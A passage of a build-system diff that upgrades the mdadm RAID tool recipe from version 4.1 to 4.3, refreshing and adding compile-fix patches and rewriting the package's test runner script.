-From 3158d3788c2e0fb75ace2c89840bd8a977fb4cb0 Mon Sep 17 00:00:00 2001
+From 78e5bb08971a5644a56af60d51ef35e13522e811 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Fri, 14 Dec 2018 15:12:31 +0800
Subject: [PATCH] fix gcc-8 format-truncation warning
@@ -22,7 +22,7 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/super0.c b/super0.c
-index 756cab5..12c28da 100644
+index a7c5f81..a79b6bd 100644
--- a/super0.c
+++ b/super0.c
@@ -229,7 +229,7 @@ static void examine_super0(struct supertype *st, char *homehost)
@@ -34,6 +34,3 @@ index 756cab5..12c28da 100644
int wonly, failfast;
if (d>=0) dp = &sb->disks[d];
else dp = &sb->this_disk;
---
-2.7.4
-
diff --git a/meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch b/meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch
new file mode 100644
index 0000000000..70be43c15e
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch
@@ -0,0 +1,56 @@
+From 7759ceda978aba38861d4846d0c1657465b72f04 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 24 Mar 2024 23:13:32 -0700
+Subject: [PATCH] include libgen.h for basename API
+
+Musl does no more provide it via string.h therefore builds with newer
+compilers e.g. clang-18 fails due to missing prototype for basename
+therefore add libgen.h to included headers list
+
+Upstream-Status: Submitted [https://lore.kernel.org/linux-raid/20240325061537.275811-1-raj.khem@gmail.com/T/#u]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Monitor.c | 1 +
+ platform-intel.c | 1 +
+ super-intel.c | 1 +
+ 3 files changed, 3 insertions(+)
+
+diff --git a/Monitor.c b/Monitor.c
+index 824a69f..e3942e1 100644
+--- a/Monitor.c
++++ b/Monitor.c
+@@ -26,6 +26,7 @@
+ #include "udev.h"
+ #include "md_p.h"
+ #include "md_u.h"
++#include <libgen.h>
+ #include <sys/wait.h>
+ #include <limits.h>
+ #include <syslog.h>
+diff --git a/platform-intel.c b/platform-intel.c
+index ac282bc..5d6687d 100644
+--- a/platform-intel.c
++++ b/platform-intel.c
+@@ -19,6 +19,7 @@
+ #include "mdadm.h"
+ #include "platform-intel.h"
+ #include "probe_roms.h"
++#include <libgen.h>
+ #include <stdio.h>
+ #include <stdlib.h>
+ #include <string.h>
+diff --git a/super-intel.c b/super-intel.c
+index dbea235..881dbda 100644
+--- a/super-intel.c
++++ b/super-intel.c
+@@ -23,6 +23,7 @@
+ #include "dlink.h"
+ #include "sha1.h"
+ #include "platform-intel.h"
++#include <libgen.h>
+ #include <values.h>
+ #include <scsi/sg.h>
+ #include <ctype.h>
+--
+2.44.0
+
diff --git a/meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch b/meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch
index e00287cab1..f224d0008d 100644
--- a/meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch
+++ b/meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch
@@ -1,4 +1,4 @@
-From 5fdc0173cb4fcf8656f0889ad364d2549795607f Mon Sep 17 00:00:00 2001
+From c27e128fdc062ec3fcdf7b48a8c5078615c538df Mon Sep 17 00:00:00 2001
From: Changqing Li <changqing.li@windriver.com>
Date: Mon, 1 Jul 2019 11:34:49 +0800
Subject: [PATCH] mdadm: add option -y for use syslog to recive event report
@@ -14,15 +14,12 @@ Signed-off-by: Changqing Li <changqing.li@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/systemd/mdmonitor.service b/systemd/mdmonitor.service
-index 46f7b88..3fc4687 100644
+index 9c36478..d289846 100644
--- a/systemd/mdmonitor.service
+++ b/systemd/mdmonitor.service
-@@ -13,4 +13,4 @@ DefaultDependencies=no
+@@ -14,4 +14,4 @@ Documentation=man:mdadm(8)
Environment= MDADM_MONITOR_ARGS=--scan
EnvironmentFile=-/run/sysconfig/mdadm
ExecStartPre=-/usr/lib/mdadm/mdadm_env.sh
-ExecStart=BINDIR/mdadm --monitor $MDADM_MONITOR_ARGS
+ExecStart=BINDIR/mdadm --monitor -y $MDADM_MONITOR_ARGS
---
-2.7.4
-
diff --git a/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch b/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch
deleted file mode 100644
index 3a192cc95c..0000000000
--- a/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From 1b83afa7c3121f819e72ea74883f8b6d61d6548e Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Fri, 6 Sep 2019 10:59:02 +0800
-Subject: [PATCH] mdadm: skip test 11spare-migration
-
-11spare-migration is a test series to check mdadm Monitor migrates spares
-according to rules in /etc/mdadm.conf defined by POLICY lines.
-
-[snip]
-for scan in no yes; do
- for platform in 1.2 imsm; do
- try
- done
-done
-[snip]
-
-"try" includes near 20 sub testcase, so there are nearly 80 subcases need to run,
-so it will take long time than ptest-runner timeout limit, skip it as workaround.
-
-Upstream-Status: Inappropriate[oe-specific]
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- test | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/test b/test
-index 711a3c7..880dd1d 100755
---- a/test
-+++ b/test
-@@ -272,6 +272,9 @@ main() {
- else
- for script in $testdir/$prefix $testdir/$prefix*[^~]
- do
-+ if [ $script == "$testdir/11spare-migration" ];then
-+ continue
-+ fi
- do_test $script
- done
- fi
---
-2.7.4
-
diff --git a/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch b/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch
index a1e7e59323..52daea2a49 100644
--- a/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch
+++ b/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch
@@ -1,4 +1,4 @@
-From b431cb4e1ed060122fa300dc0008f74080d38f73 Mon Sep 17 00:00:00 2001
+From 4dd5c2659722b44409cee28b4cea68cdeaa1f987 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 9 May 2016 22:03:57 +0000
Subject: [PATCH] mdadm.h: Undefine dprintf before redefining
@@ -20,10 +20,10 @@ Upstream-Status: Pending
1 file changed, 2 insertions(+)
diff --git a/mdadm.h b/mdadm.h
-index 387e681..bb943bf 100644
+index 1f28b3e..04996e2 100644
--- a/mdadm.h
+++ b/mdadm.h
-@@ -1649,11 +1649,13 @@ static inline char *to_subarray(struct mdstat_ent *ent, char *container)
+@@ -1869,11 +1869,13 @@ static inline sighandler_t signal_s(int sig, sighandler_t handler)
}
#ifdef DEBUG
diff --git a/meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch b/meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch
new file mode 100644
index 0000000000..13435ee418
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch
@@ -0,0 +1,155 @@
+From aa86de05cd6a75222b38e0789ac96fe00f705430 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 10 Nov 2022 12:31:22 -0800
+Subject: [PATCH] restripe.c: Use _FILE_OFFSET_BITS to enable largefile support
+
+Instead of using the lseek64 and friends, its better to enable it via
+the feature macro _FILE_OFFSET_BITS = 64 and let the C library deal with
+the width of types
+
+Upstream-Status: Submitted [https://lore.kernel.org/linux-raid/20221110225546.337164-1-raj.khem@gmail.com/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ raid6check.c | 11 +++++++----
+ restripe.c | 13 ++++++++-----
+ swap_super.c | 13 +++++++------
+ 3 files changed, 22 insertions(+), 15 deletions(-)
+
+diff --git a/raid6check.c b/raid6check.c
+index 9947776..8e7f142 100644
+--- a/raid6check.c
++++ b/raid6check.c
+@@ -22,6 +22,9 @@
+ * Based on "restripe.c" from "mdadm" codebase
+ */
+
++/* Enable largefile support */
++#define _FILE_OFFSET_BITS 64
++
+ #include "mdadm.h"
+ #include <stdint.h>
+ #include <sys/mman.h>
+@@ -284,9 +287,9 @@ int manual_repair(int chunk_size, int syndrome_disks,
+ }
+
+ int write_res1, write_res2;
+- off64_t seek_res;
++ off_t seek_res;
+
+- seek_res = lseek64(source[fd1],
++ seek_res = lseek(source[fd1],
+ offsets[fd1] + start * chunk_size, SEEK_SET);
+ if (seek_res < 0) {
+ fprintf(stderr, "lseek failed for failed_disk1\n");
+@@ -294,7 +297,7 @@ int manual_repair(int chunk_size, int syndrome_disks,
+ }
+ write_res1 = write(source[fd1], blocks[failed_slot1], chunk_size);
+
+- seek_res = lseek64(source[fd2],
++ seek_res = lseek(source[fd2],
+ offsets[fd2] + start * chunk_size, SEEK_SET);
+ if (seek_res < 0) {
+ fprintf(stderr, "lseek failed for failed_disk2\n");
+@@ -379,7 +382,7 @@ int check_stripes(struct mdinfo *info, int *source, unsigned long long *offsets,
+ goto exitCheck;
+ }
+ for (i = 0 ; i < raid_disks ; i++) {
+- off64_t seek_res = lseek64(source[i], offsets[i] + start * chunk_size,
++ off_t seek_res = lseek(source[i], offsets[i] + start * chunk_size,
+ SEEK_SET);
+ if (seek_res < 0) {
+ fprintf(stderr, "lseek to source %d failed\n", i);
+diff --git a/restripe.c b/restripe.c
+index a7a7229..1c03577 100644
+--- a/restripe.c
++++ b/restripe.c
+@@ -22,6 +22,9 @@
+ * Email: <neilb@suse.de>
+ */
+
++/* Enable largefile support */
++#define _FILE_OFFSET_BITS 64
++
+ #include "mdadm.h"
+ #include <stdint.h>
+
+@@ -581,7 +584,7 @@ int save_stripes(int *source, unsigned long long *offsets,
+ raid_disks, level, layout);
+ if (dnum < 0) abort();
+ if (source[dnum] < 0 ||
+- lseek64(source[dnum],
++ lseek(source[dnum],
+ offsets[dnum] + offset, 0) < 0 ||
+ read(source[dnum], buf+disk * chunk_size,
+ chunk_size) != chunk_size) {
+@@ -754,8 +757,8 @@ int restore_stripes(int *dest, unsigned long long *offsets,
+ raid_disks, level, layout);
+ if (src_buf == NULL) {
+ /* read from file */
+- if (lseek64(source, read_offset, 0) !=
+- (off64_t)read_offset) {
++ if (lseek(source, read_offset, 0) !=
++ (off_t)read_offset) {
+ rv = -1;
+ goto abort;
+ }
+@@ -816,7 +819,7 @@ int restore_stripes(int *dest, unsigned long long *offsets,
+ }
+ for (i=0; i < raid_disks ; i++)
+ if (dest[i] >= 0) {
+- if (lseek64(dest[i],
++ if (lseek(dest[i],
+ offsets[i]+offset, 0) < 0) {
+ rv = -1;
+ goto abort;
+@@ -866,7 +869,7 @@ int test_stripes(int *source, unsigned long long *offsets,
+ int disk;
+
+ for (i = 0 ; i < raid_disks ; i++) {
+- if ((lseek64(source[i], offsets[i]+start, 0) < 0) ||
++ if ((lseek(source[i], offsets[i]+start, 0) < 0) ||
+ (read(source[i], stripes[i], chunk_size) !=
+ chunk_size)) {
+ free(q);
+diff --git a/swap_super.c b/swap_super.c
+index b6db574..18c89e2 100644
+--- a/swap_super.c
++++ b/swap_super.c
+@@ -1,3 +1,6 @@
++/* Enable largefile support */
++#define _FILE_OFFSET_BITS 64
++
+ #include <unistd.h>
+ #include <stdlib.h>
+ #include <fcntl.h>
+@@ -16,8 +19,6 @@
+
+ #define MD_NEW_SIZE_SECTORS(x) ((x & ~(MD_RESERVED_SECTORS - 1)) - MD_RESERVED_SECTORS)
+
+-extern long long lseek64(int, long long, int);
+-
+ int main(int argc, char *argv[])
+ {
+ int fd, i;
+@@ -38,8 +39,8 @@ int main(int argc, char *argv[])
+ exit(1);
+ }
+ offset = MD_NEW_SIZE_SECTORS(size) * 512LL;
+- if (lseek64(fd, offset, 0) < 0LL) {
+- perror("lseek64");
++ if (lseek(fd, offset, 0) < 0LL) {
++ perror("lseek");
+ exit(1);
+ }
+ if (read(fd, super, 4096) != 4096) {
+@@ -68,8 +69,8 @@ int main(int argc, char *argv[])
+ super[32*4+10*4 +i] = t;
+ }
+
+- if (lseek64(fd, offset, 0) < 0LL) {
+- perror("lseek64");
++ if (lseek(fd, offset, 0) < 0LL) {
++ perror("lseek");
+ exit(1);
+ }
+ if (write(fd, super, 4096) != 4096) {
diff --git a/meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch b/meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch
new file mode 100644
index 0000000000..0916efafdf
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch
@@ -0,0 +1,24 @@
+From 8fa7d3cb96e8833743b635fb198675ad6c020b6e Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 12 Mar 2024 10:51:51 +0100
+Subject: [PATCH] util.c: add limits.h include for NAME_MAX definition
+
+Upstream-Status: Submitted [mariusz.tkaczyk@linux.intel.com,linux-raid@vger.kernel.org]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ util.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/util.c b/util.c
+index b145447..a9cb6c4 100644
+--- a/util.c
++++ b/util.c
+@@ -36,7 +36,7 @@
+ #include <ctype.h>
+ #include <dirent.h>
+ #include <dlfcn.h>
+-
++#include <limits.h>
+
+ /*
+ * following taken from linux/blkpg.h because they aren't
diff --git a/meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch b/meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch
new file mode 100644
index 0000000000..145c65477a
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch
@@ -0,0 +1,27 @@
+From a22b2345b9773d362acd85dd4c4a6a3cda9100d4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 12 Mar 2024 10:54:08 +0100
+Subject: [PATCH] Create.c: include linux/falloc.h for FALLOC_FL_ZERO_RANGE
+ definition
+
+glibc provides this through fcntl.h but musl does not - should
+be reported and fixed there.
+
+Upstream-Status: Inappropriate [musl-specific issue]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ Create.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/Create.c b/Create.c
+index 8082f54..7071f0a 100644
+--- a/Create.c
++++ b/Create.c
+@@ -31,6 +31,7 @@
+ #include <signal.h>
+ #include <sys/signalfd.h>
+ #include <sys/wait.h>
++#include <linux/falloc.h>
+
+ static int round_size_and_verify(unsigned long long *size, int chunk)
+ {
diff --git a/meta/recipes-extended/mdadm/files/debian-no-Werror.patch b/meta/recipes-extended/mdadm/files/debian-no-Werror.patch
index e66a15cd79..b758fcd0ab 100644
--- a/meta/recipes-extended/mdadm/files/debian-no-Werror.patch
+++ b/meta/recipes-extended/mdadm/files/debian-no-Werror.patch
@@ -1,5 +1,7 @@
-From: martin f. krafft <madduck@debian.org>
-Subject: Remove -Werror from compiler flags
+From 319b3191f088cea7b0fb6038ab7625d5e049dcf7 Mon Sep 17 00:00:00 2001
+From: "martin f. krafft" <madduck@debian.org>
+Date: Mon, 3 Jan 2022 19:14:12 +0000
+Subject: [PATCH] Remove -Werror from compiler flags
-Werror seems like a bad idea on released/packaged code because a toolchain
update (introducing new warnings) could break the build. We'll let upstream
@@ -9,17 +11,19 @@ Signed-off-by: martin f. krafft <madduck@debian.org>
Upstream-Status: Pending
---
- Makefile | 2 +-
- 1 files changed, 1 insertions(+), 1 deletions(-)
+ Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+diff --git a/Makefile b/Makefile
+index 9ab6a65..1141971 100644
--- a/Makefile
+++ b/Makefile
-@@ -48,7 +48,7 @@ endif
-
- CC ?= $(CROSS_COMPILE)gcc
+@@ -50,7 +50,7 @@ ifeq ($(origin CC),default)
+ CC := $(CROSS_COMPILE)gcc
+ endif
CXFLAGS ?= -ggdb
--CWFLAGS = -Wall -Werror -Wstrict-prototypes -Wextra -Wno-unused-parameter
-+CWFLAGS = -Wall -Wstrict-prototypes -Wextra -Wno-unused-parameter
+-CWFLAGS ?= -Wall -Werror -Wstrict-prototypes -Wextra -Wno-unused-parameter -Wformat -Wformat-security -Werror=format-security -fstack-protector-strong -fPIE -Warray-bounds
++CWFLAGS ?= -Wall -Wstrict-prototypes -Wextra -Wno-unused-parameter -Wformat -Wformat-security -Werror=format-security -fstack-protector-strong -fPIE -Warray-bounds
ifdef WARN_UNUSED
- CWFLAGS += -Wp,-D_FORTIFY_SOURCE=2 -O3
+ CWFLAGS += -Wp -O3
endif
diff --git a/meta/recipes-extended/mdadm/files/include_sysmacros.patch b/meta/recipes-extended/mdadm/files/include_sysmacros.patch
deleted file mode 100644
index 8a1d8342d8..0000000000
--- a/meta/recipes-extended/mdadm/files/include_sysmacros.patch
+++ /dev/null
@@ -1,14 +0,0 @@
-include sys/sysmacros.h for major/minor macro definitions
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
---- a/mdadm.h
-+++ b/mdadm.h
-@@ -35,6 +35,7 @@ extern __off64_t lseek64 __P ((int __fd,
-
- #include <sys/types.h>
- #include <sys/stat.h>
-+#include <sys/sysmacros.h>
- #include <stdint.h>
- #include <stdlib.h>
- #include <time.h>
diff --git a/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch b/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch
index 7a2c888701..ecd1f037d0 100644
--- a/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch
+++ b/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch
@@ -1,4 +1,4 @@
-From e37f7f6a0f1ef1b594574d11a8b90b8c861d047b Mon Sep 17 00:00:00 2001
+From ca91d9fc07943f209988411f2596e4b69828f208 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
Date: Sun, 15 Mar 2015 09:02:14 +0000
Subject: [PATCH] mdadm: Fix build in x32 ABI
@@ -12,16 +12,15 @@ data type in x32 ABI is long long int.
Upstream-Status: Pending
Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
-
---
monitor.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/monitor.c b/monitor.c
-index 81537ed..7c33382 100644
+index 4acec67..8dcdfd6 100644
--- a/monitor.c
+++ b/monitor.c
-@@ -445,9 +445,12 @@ static int read_and_act(struct active_array *a, fd_set *fds)
+@@ -447,9 +447,12 @@ static int read_and_act(struct active_array *a, fd_set *fds)
if (FD_ISSET(mdi->bb_fd, fds))
check_for_cleared_bb(a, mdi);
}
diff --git a/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch b/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch
deleted file mode 100644
index 8e2a8a9043..0000000000
--- a/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From 911f6ea9be0c334885aeff66853b111cbd4066df Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Wed, 10 Feb 2016 17:28:05 +0200
-Subject: [PATCH] mdadm-fix-ptest-build-errors
-
-builds fail with ptest enabled:
-
-| restripe.c: In function 'test_stripes':
-| restripe.c:845:4: error: ignoring return value of 'read', declared with
-| attribute warn_unused_result [-Werror=unused-result]
-| read(source[i], stripes[i], chunk_size);
-| ^
-| cc1: all warnings being treated as errors
-| Makefile:214: recipe for target 'test_stripe' failed
-
-Upstream-Status: Pending
-
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
-
----
- restripe.c | 6 +++++-
- 1 file changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/restripe.c b/restripe.c
-index 31b07e8..592ba5d 100644
---- a/restripe.c
-+++ b/restripe.c
-@@ -864,10 +864,14 @@ int test_stripes(int *source, unsigned long long *offsets,
-
- while (length > 0) {
- int disk;
-+ ssize_t ret;
-
- for (i = 0 ; i < raid_disks ; i++) {
- lseek64(source[i], offsets[i]+start, 0);
-- read(source[i], stripes[i], chunk_size);
-+ ret = read(source[i], stripes[i], chunk_size);
-+ if (ret == -1) {
-+ printf("Read Failed\n");
-+ }
- }
- for (i = 0 ; i < data_disks ; i++) {
- int disk = geo_map(i, start/chunk_size, raid_disks,
diff --git a/meta/recipes-extended/mdadm/files/run-ptest b/meta/recipes-extended/mdadm/files/run-ptest
index fae8071d43..c3f201491e 100644
--- a/meta/recipes-extended/mdadm/files/run-ptest
+++ b/meta/recipes-extended/mdadm/files/run-ptest
@@ -1,7 +1,10 @@
#!/bin/sh
-mkdir -p /mdadm-testing-dir
-# make the test continue to execute even one fail
-dir=. ./test --keep-going --disable-integrity
+logdir=$PWD/logs
+targetdir=/mdadm-testing-dir
+
+rm -rf $targetdir $logdir
+mkdir -p $targetdir $logdir
-rm -rf /mdadm-testing-dir/*
+# make the test continue to execute even one fail
+./test --keep-going --disable-integrity --skip-broken --save-logs --logdir=$logdir
diff --git a/meta/recipes-extended/mdadm/mdadm_4.1.bb b/meta/recipes-extended/mdadm/mdadm_4.1.bb
deleted file mode 100644
index 001d3331a7..0000000000
--- a/meta/recipes-extended/mdadm/mdadm_4.1.bb
+++ /dev/null
@@ -1,107 +0,0 @@
-SUMMARY = "Tool for managing software RAID under Linux"
-HOMEPAGE = "http://www.kernel.org/pub/linux/utils/raid/mdadm/"
-
-# Some files are GPLv2+ while others are GPLv2.
-LICENSE = "GPLv2 & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://mdmon.c;beginline=4;endline=18;md5=af7d8444d9c4d3e5c7caac0d9d34039d \
- file://mdadm.h;beglinlne=4;endline=22;md5=462bc9936ac0d3da110191a3f9994161"
-
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/raid/mdadm/${BPN}-${PV}.tar.xz \
- file://run-ptest \
- file://mdadm-3.3.2_x32_abi_time_t.patch \
- file://mdadm-fix-ptest-build-errors.patch \
- file://0001-mdadm.h-Undefine-dprintf-before-redefining.patch \
- file://0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch \
- file://0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch \
- file://0001-Compute-abs-diff-in-a-standard-compliant-way.patch \
- file://0001-fix-gcc-8-format-truncation-warning.patch \
- file://debian-no-Werror.patch \
- file://0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch \
- file://mdadm.init \
- file://0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch \
- file://include_sysmacros.patch \
- file://0001-mdadm-skip-test-11spare-migration.patch \
- "
-
-SRC_URI[md5sum] = "51bf3651bd73a06c413a2f964f299598"
-SRC_URI[sha256sum] = "ab7688842908d3583a704d491956f31324c3a5fc9f6a04653cb75d19f1934f4a"
-
-inherit autotools-brokensep ptest systemd
-
-SYSTEMD_SERVICE_${PN} = "mdmonitor.service"
-SYSTEMD_AUTO_ENABLE = "disable"
-
-CFLAGS_append_toolchain-clang = " -Wno-error=address-of-packed-member"
-
-# PPC64 and MIPS64 uses long long for u64 in the kernel, but powerpc's asm/types.h
-# prevents 64-bit userland from seeing this definition, instead defaulting
-# to u64 == long in userspace. Define __SANE_USERSPACE_TYPES__ to get
-# int-ll64.h included
-CFLAGS_append_powerpc64 = ' -D__SANE_USERSPACE_TYPES__'
-CFLAGS_append_mipsarchn64 = ' -D__SANE_USERSPACE_TYPES__'
-CFLAGS_append_mipsarchn32 = ' -D__SANE_USERSPACE_TYPES__'
-
-EXTRA_OEMAKE = 'CHECK_RUN_DIR=0 CXFLAGS="${CFLAGS}" SYSTEMD_DIR=${systemd_unitdir}/system \
- BINDIR="${base_sbindir}" UDEVDIR="${nonarch_base_libdir}/udev"'
-
-DEBUG_OPTIMIZATION_append = " -Wno-error"
-
-do_compile() {
- oe_runmake SYSROOT="${STAGING_DIR_TARGET}"
-}
-
-do_install() {
- export STRIP=""
- autotools_do_install
-}
-
-do_install_append() {
- install -d ${D}/${sysconfdir}/
- install -m 644 ${S}/mdadm.conf-example ${D}${sysconfdir}/mdadm.conf
- install -d ${D}/${sysconfdir}/init.d
- install -m 755 ${WORKDIR}/mdadm.init ${D}${sysconfdir}/init.d/mdmonitor
-}
-
-do_install_append() {
- oe_runmake install-systemd DESTDIR=${D}
-}
-
-do_compile_ptest() {
- oe_runmake test
-}
-
-do_install_ptest() {
- cp -R --no-dereference --preserve=mode,links -v ${S}/tests ${D}${PTEST_PATH}/tests
- cp ${S}/test ${D}${PTEST_PATH}
- sed -e 's!sleep 0.*!sleep 1!g; s!/var/tmp!/mdadm-testing-dir!g' -i ${D}${PTEST_PATH}/test
- sed -e 's!/var/tmp!/mdadm-testing-dir!g' -i ${D}${PTEST_PATH}/tests/*
- sed -i -e '/echo -ne "$_script... "/d' \
- -e 's/echo "succeeded"/echo -e "PASS: $_script"/g' \
- -e '/save_log fail/N; /_fail=1/i\\t\t\techo -ne "FAIL: $_script"' \
- -e '/die "dmesg prints errors when testing $_basename!"/i\\t\t\t\techo -ne "FAIL: $_script" &&' \
- ${D}${PTEST_PATH}/test
-
- chmod +x ${D}${PTEST_PATH}/test
-
- ln -s ${base_sbindir}/mdadm ${D}${PTEST_PATH}/mdadm
- for prg in test_stripe swap_super raid6check
- do
- install -D -m 755 $prg ${D}${PTEST_PATH}/
- done
-}
-
-RDEPENDS_${PN}-ptest += "bash e2fsprogs-mke2fs"
-RRECOMMENDS_${PN}-ptest += " \
- coreutils \
- util-linux \
- kernel-module-loop \
- kernel-module-linear \
- kernel-module-raid0 \
- kernel-module-raid1 \
- kernel-module-raid10 \
- kernel-module-raid456 \
-"
-
-FILES_${PN} += "${systemd_unitdir}/*"
diff --git a/meta/recipes-extended/mdadm/mdadm_4.3.bb b/meta/recipes-extended/mdadm/mdadm_4.3.bb
new file mode 100644
index 0000000000..228fc6f84e
--- /dev/null
+++ b/meta/recipes-extended/mdadm/mdadm_4.3.bb
@@ -0,0 +1,127 @@
+SUMMARY = "Tool for managing software RAID under Linux"
+HOMEPAGE = "http://www.kernel.org/pub/linux/utils/raid/mdadm/"
+DESCRIPTION = "mdadm is a Linux utility used to manage and monitor software RAID devices."
+
+# Some files are GPL-2.0-only while others are GPL-2.0-or-later.
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://mdmon.c;beginline=4;endline=18;md5=af7d8444d9c4d3e5c7caac0d9d34039d \
+ file://mdadm.h;beglinlne=4;endline=22;md5=462bc9936ac0d3da110191a3f9994161"
+
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/raid/mdadm/${BPN}-${PV}.tar.xz \
+ file://run-ptest \
+ file://mdadm-3.3.2_x32_abi_time_t.patch \
+ file://0001-mdadm.h-Undefine-dprintf-before-redefining.patch \
+ file://0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch \
+ file://0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch \
+ file://0001-fix-gcc-8-format-truncation-warning.patch \
+ file://debian-no-Werror.patch \
+ file://mdadm.init \
+ file://0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch \
+ file://0001-Makefile-install-mdcheck.patch \
+ file://0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch \
+ file://0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch \
+ file://0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch \
+ file://0001-include-libgen.h-for-basename-API.patch \
+ "
+
+SRC_URI[sha256sum] = "416727ae1f1080ea6e3090cea36dd076826fc369151e36ab736557ba92196f9f"
+
+inherit autotools-brokensep ptest systemd
+
+DEPENDS = "udev"
+
+SYSTEMD_SERVICE:${PN} = "mdmonitor.service"
+SYSTEMD_AUTO_ENABLE = "disable"
+
+# PPC64 and MIPS64 uses long long for u64 in the kernel, but powerpc's asm/types.h
+# prevents 64-bit userland from seeing this definition, instead defaulting
+# to u64 == long in userspace. Define __SANE_USERSPACE_TYPES__ to get
+# int-ll64.h included
+CFLAGS:append:powerpc64 = ' -D__SANE_USERSPACE_TYPES__'
+CFLAGS:append:mipsarchn64 = ' -D__SANE_USERSPACE_TYPES__'
+CFLAGS:append:mipsarchn32 = ' -D__SANE_USERSPACE_TYPES__'
+
+EXTRA_OEMAKE = 'CHECK_RUN_DIR=0 CXFLAGS="${CFLAGS}" SYSTEMD_DIR=${systemd_system_unitdir} \
+ BINDIR="${base_sbindir}" UDEVDIR="${nonarch_base_libdir}/udev" LDFLAGS="${LDFLAGS}"'
+
